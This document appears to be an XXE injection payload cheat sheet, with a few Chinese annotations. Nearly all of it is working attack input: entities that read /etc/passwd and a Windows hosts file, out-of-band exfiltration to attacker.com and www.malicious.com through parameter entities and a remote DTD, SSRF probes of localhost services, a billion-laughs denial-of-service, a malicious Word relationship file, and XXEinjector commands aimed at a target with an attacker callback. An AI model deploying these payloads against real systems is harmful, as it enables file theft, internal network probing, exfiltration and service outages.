<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/?file=/etc/passwd">
]>
<foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<foo>test</foo>

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?%file;'>">
%eval;
%exfil;

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<foo>&xxe;</foo>

<!ENTITY xxe SYSTEM "http://127.0.0.1:22">
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!ENTITY xxe SYSTEM "http://127.0.0.1:6379">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<foo>&lol9;</foo>

word/document.xml - 包含文档内容
word/_rels/document.xml.rels - 包含外部引用

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships>
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="file:///etc/passwd" TargetMode="External"/>
</Relationships>

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">

<!ENTITY xxe SYSTEM "jar:file:///path/to/file.zip!/file.txt">

<!ENTITY xxe SYSTEM "file:///%65%74%63/%70%61%73%73%77%64">

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///etc/passwd">
  <!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>test</foo>

# 基础使用
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml

# 文件读取
ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd